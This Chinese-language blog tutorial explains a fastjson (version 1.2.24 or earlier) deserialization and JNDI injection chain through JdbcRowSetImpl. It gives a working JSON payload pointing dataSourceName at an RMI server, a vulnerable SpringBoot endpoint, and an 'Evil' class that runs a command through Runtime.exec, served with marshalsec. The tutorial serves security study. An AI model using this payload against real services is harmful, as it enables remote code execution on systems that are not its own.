JavaSec系列 - 3. 反序列化与JNDI注入(1)

本章源码: https://github.com/hey3e/JavaSec-Code/tree/main/javasec3

上章我们了解到,通过控制lookup方法的参数,可以实现JNDI注入。从控制到注入,就是一条完整的攻击链。我们来看一个实例。

首先,我们需要一个注入点。在java.lang中,我们找到了类com.sun.rowset.JdbcRowSetImpl,其connect方法对dataSource属性作lookup

回溯,发现该类的setter方法setAutoCommit调用了connect

类的gettersetter分别用于外界对类的private属性进行访问和更新。而从外界调用类内方法的手段,我们首先想到了反射,和处处用到反射的反序列化。

因此攻击链的挖掘思路就很清晰了:寻找反序列化操作,使其反射构造恶意的JdbcRowSetImpl对象并调用setAutoCommit,从而实现JNDI注入。

我们了解到,JSON解析库fastjson在将JSON字符串还原为Java对象的过程中会调用其gettersetter方法。我们来看一下。

构造一个Person类,包含getAgesetAge方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package javasec3;

public class Person {
private Integer age;

public Person(Integer age) {
this.age = age;
}

public Person() {
}

public void setAge(Integer age) {
this.age = age;
}

public Integer getAge() {
return age;
}
}

编写fastjson代码:

1
2
3
4
5
6
7
8
9
public class test {
public static void main(String[] args) {
Person person = new Person(18);
String json = JSON.toJSONString(person);
System.out.println(json);
JSONObject jsonObject = JSON.parseObject(json);
System.out.println(jsonObject);
}
}

其中使用JSON.toJSONStringJSON.parseObject进行序列化与反序列化。结果如下:

并无特别之处,同时我们debug发现JSON.parseObject并没有调用Person类的gettersetter方法。这是因为我们没有实现“自省”功能:SerializerFeature.WriteClassName,修改下行代码:

1
String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);

再次查看结果:

可以看到序列化后的字符串中新增了@type字段标明了类型信息。再次跟进,发现如期调用了setAgegetAge

也就是说,对于指明@type的输入,fastjson会调用gettersetter方法。

至此,我们得知要构造的恶意JSON payload中需要包含:

1
2
3
{
"@type":"com.sun.rowset.JdbcRowSetImpl"
}

再次回到JdbcRowSetImpl类的setAutoCommit方法,其调用的connect方法会对dataSource属性作lookup,因此,我们在payload中新增一个dataSource字段,值为我们启动的RMI/LDAP服务器。同时,既然要进入setAutoCommit,payload中就必须有autoCommit

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1097/Evil",
"autoCommit":true
}

payload准备就绪。接下来用SpringBoot启动一个web服务,在index页面对传入的JSON字符串作反序列化:

1
2
3
4
5
6
7
8
9
@Controller
public class Index {
@RequestMapping(value = "/index", method = RequestMethod.POST)
@ResponseBody
public JSONObject test(@RequestBody String data) {
JSONObject ret = JSONObject.parseObject(data);
return ret;
}
}

编写恶意类,编译后挂载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.Serializable;

public class Evil implements Serializable {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] cmd = {"exec", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
Process pc = rt.exec(cmd);
pc.waitFor();
} catch (Exception e) {

}
}
}

用marshalsec启动一个RMI服务器,返回指向Evil类的恶意Reference

最后,POST payload,计算器弹出:

lookup处下断点,调用栈如下:

可见在反序列化过程中,利用反射invoke了类的setter方法。

需要注意的是,上述攻击需要fastjson<=1.2.24。在后续的版本中,fastjson加入了checkAutoType方法和黑名单对输入进行过滤,但也不断被绕过。大部分绕过的原理,都是基于本文所述的反序列化+JNDI注入。

Author

yekc1m

Posted on

2022-01-17

Updated on

2022-01-17

Licensed under